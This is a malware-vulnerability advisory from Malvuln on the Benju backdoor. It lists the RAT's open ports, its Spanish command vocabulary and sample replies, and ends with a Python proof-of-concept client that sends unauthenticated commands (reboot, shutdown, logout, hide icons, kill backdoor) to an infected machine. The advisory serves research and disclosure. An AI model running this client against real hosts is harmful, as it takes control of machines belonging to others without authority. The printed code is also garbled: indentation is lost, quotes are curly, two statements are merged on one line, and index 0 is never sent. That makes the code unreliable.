Backdoor.Win32.Benju.a MVID-2024-0700 Remote Command Execution

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/88922242e8805bfbc5981e55fdfadd71.txt
Contact: [email protected]
Media: x.com/malvuln

Threat: Backdoor.Win32.Benju.a
Vulnerability: Unauthenticated Remote Command Execution
Family: Benju
Type: PE32
MD5: 88922242e8805bfbc5981e55fdfadd71
SHA256: 7d34804173e09d0f378dfc8c9212fe77ff51f08c9d0b73d00a19b7045ddc1f0e
Vuln ID: MVID-2024-0700
Disclosure: 09/27/2024
Description: The RAT listens on TCP ports 200 and 15000. Third-party adversaries who can reach an infected host, can execute commands made available by the malware. Commands are sent in Spanish, using netcat or telnet fails to run cmds after connecting as they send CRLFs e.g. “quitar\r\n” fails “quitar” succeeds. Therefore, we need a custom client to send commands to the Benju RAT.

Reiniciado = reboot
quitar = terminate backdoor
cerrarsesion = shutdown
Enciendemonitor = turn on monitor
apagamonitor = monitor off
Ocultaiconos = hide icons
activachat = open chat window
Bloquearaton = block rat
Desbloquearaton = unblock rat
Activainicio = activate start
cerrarsesion = logout

Ocultaiconos
Conectado
Ocultado los iconos

cerrarsesion
Conectado
Cerrado la sesion de windows

Enciendemonitor
Conectado
Monitor encendido

apagamonitor
Conectado
Monitor apagado

quitar
Conectado
Pc desinfectado

Exploit/PoC:
from socket import *
import time,sys

CMD=[“Reiniciado”,”Enciendemonitor”,”apagamonitor”,”Ocultaiconos”,”Activainicio”,
“activachat”,”Bloquearaton”,”Desbloquearaton”,”cerrarsesion”,”quitar”]

def chk_res(s):
res=””
while True:
res += s.recv(512).decode()
if res:
break
return res

def Benju_Over(MALWARE_HOST, PTR):

PORT=200
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
print(CMD[PTR])

s.send(“”.encode())
print(chk_res(s))
PAYLOAD= CMD[PTR] #Don’t send CRLFs
s.send(PAYLOAD.encode())
time.sleep(0.5)
print(chk_res(s))
s.close()
print(“[*] Benju (over) Rat PoC by malvuln”)

if __name__==”__main__”:
c=-1
if len(sys.argv) < 3:
print(“[+] Benju (over) Rat PoC by malvuln”)
print(“[+] Greetz Edu_Braun_0day, Indoushka, Todd J”)
print(“[!] Usage: Infected IP, Command”)
print(“[-]=============================”)
for x in CMD:
c+=1
print(“[+] “+str(c) + ” “+ x)
exit()
try:
MALWARE_HOST=sys.argv[1]PTR=int(sys.argv[2])
if MALWARE_HOST and PTR:
Benju_Over(MALWARE_HOST, PTR)
except Exception as e:
print(“[!] “+str(e))
exit()

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